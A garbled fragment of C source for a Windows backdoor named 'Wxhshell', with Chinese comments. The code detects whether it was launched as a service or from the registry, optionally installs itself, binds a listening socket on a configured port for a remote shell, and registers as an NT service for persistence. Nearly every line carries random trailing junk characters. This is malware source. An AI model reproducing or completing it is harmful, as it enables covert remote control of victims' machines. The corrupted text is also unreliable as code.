ULONG UniqueProcessId; ;18u02z^
ULONG InheritedFromUniqueProcessId; 2v#gCou
} PROCESS_BASIC_INFORMATION; z<0/#OP'
|sP0z !)b
PROCNTQSIP NtQueryInformationProcess; U;"J8
]^i^L
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E\cX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6o5,d]
dO,;k+
HANDLE hProcess; gr{*wYL
PROCESS_BASIC_INFORMATION pbi; <HIM
k
]<r.{EJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q0,eE:
if(NULL == hInst ) return 0; #JXXq%4
@
_={mKKoHs
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3TS:H1n
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D,(:))DmR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,ei=w,O
T7O)
if (!NtQueryInformationProcess) return 0; A4b+:MQ*OX
m&be55M;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XdOntP *a
if(!hProcess) return 0; x~{W(;`!
up0=Y
o@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oJ/=&c
02T'B&&~
CloseHandle(hProcess); Ai5+ ;8z+
9>`dB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h'_$I4e)
if(hProcess==NULL) return 0; aVr =7PeF
BqA_CW
HMODULE hMod; |oe
char procName[255]; <E^;RG
unsigned long cbNeeded; 4Mt RI
wrK@1F9!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1rLxF{,
s~o\j/
CloseHandle(hProcess); a$bE2'cb
}1lZW"{e[
if(strstr(procName,"services")) return 1; // 以服务启动 Z5EII[=$o
T1x67 b
u
return 0; // 注册表启动 NVB#=!S
} FT J{
?.beN[X
// 主模块 yMD0Tj5ZQ
int StartWxhshell(LPSTR lpCmdLine) >Ad`_g6Wew
{ iWW
>]3Q
SOCKET wsl; iU3PlF[B/o
BOOL val=TRUE; e#F3KLSL`
int port=0; 6BEDk!
struct sockaddr_in door; *!3qO^b?
pZt>rv
if(wscfg.ws_autoins) Install(); Hc8!cATQk
7m?fvKy
port=atoi(lpCmdLine); jtE'T}! d
R4$(NNC+/
if(port<=0) port=wscfg.ws_port; 5 [4{1v
aMJ2bu
WSADATA data; %5@>
nC?`[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *Gj`1#Z$
\(`C*d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I#7H)^us
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0I2?fz)
door.sin_family = AF_INET; 4p6T0II_$
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vmo!
door.sin_port = htons(port); [
<k&]Kv
BJ
fBYH,M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5D
XBTpCVM
closesocket(wsl); @3FQMs4
return 1; jX*gw6!
} 7| j
rk
j_0l'S aj
if(listen(wsl,2) == INVALID_SOCKET) { -@B6 $XWL
closesocket(wsl); +"~*L,ken0
return 1; -SzCeq(p%5
} wjT#D|soI
Wxhshell(wsl); ?MFXZ/3(ba
WSACleanup(); Q7/Jyx|
bBGg4{
return 0; lEb H4 g
u
bZ`Y$
} e:_[0#
mmCGIX
// 以NT服务方式启动 EZhk(LE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mGoC8t}iP
{ mD*!<<Sw
DWORD status = 0; P4c}@Mq3
DWORD specificError = 0xfffffff; !FB2\hiM
HL:w*8a
serviceStatus.dwServiceType = SERVICE_WIN32; HW"5MZ8E
serviceStatus.dwCurrentState = SERVICE_START_PENDING; N4{g[[ T
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1W}k>t8?h'
serviceStatus.dwWin32ExitCode = 0; Y$+v "
serviceStatus.dwServiceSpecificExitCode = 0; r|/9'{!
serviceStatus.dwCheckPoint = 0; Q
trU_c2k
serviceStatus.dwWaitHint = 0; XjxI@VXzUV
zgn`@y2
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (IA:4E}
if (hServiceStatusHandle==0) return; k RSY;V
BV\~Dm]"
status = GetLastError(); :X7O4?ww
if (status!=NO_ERROR) Qk@BM
{ /1= x8Sb
serviceStatus.dwCurrentState = SERVICE_STOPPED; n^l5M^.
serviceStatus.dwCheckPoint = 0; ;$qc@)Uwp
serviceStatus.dwWaitHint = 0; vSH-hAk
serviceStatus.dwWin32ExitCode = status; w[EEA_\
serviceStatus.dwServiceSpecificExitCode = specificError; * )HVK&